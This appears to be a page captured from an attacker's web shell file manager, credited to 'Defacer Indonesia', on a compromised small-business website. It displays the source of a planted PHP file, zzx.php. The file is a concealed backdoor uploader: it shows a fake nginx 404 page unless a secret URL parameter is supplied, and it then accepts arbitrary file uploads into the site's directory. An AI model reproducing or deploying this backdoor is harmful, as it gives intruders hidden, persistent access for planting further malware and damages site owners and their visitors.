whoami7 - Manager
:
/
home
/
fresvfqn
/
24hourwaterdamagerestorationlongisland.com
/
bajk
/
Upload File:
files >> /home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/zzx.php
<?php // Cek apakah variabel 'uploader' ada di URL if (!isset($_GET['hadi'])) { // Tampilkan template 404 LiteSpeed http_response_code(404); echo '<html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nginx</center> <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"3f613af28f6148419dfc1304c9b1f035","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script> </body> </html>'; exit; } ?> <!DOCTYPE html> <html> <head> <title>Uploader Sederhana</title> <style> body { font-family: Arial; margin: 40px; } .container { max-width: 400px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; } input[type="file"] { margin-bottom: 10px; } </style> </head> <body> <div class="container"> <h2>Upload File</h2> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" required><br> <button type="submit">Upload</button> </form> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $fileName = basename($_FILES['file']['name']); $targetFile = __DIR__ . DIRECTORY_SEPARATOR . $fileName; if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { echo "<p>File berhasil diupload: <strong>" . htmlspecialchars($fileName) . "</strong></p>"; } else { echo "<p>Gagal mengupload file.</p>"; } } ?> </div> </body> </html>
Copyright ©2021 || Defacer Indonesia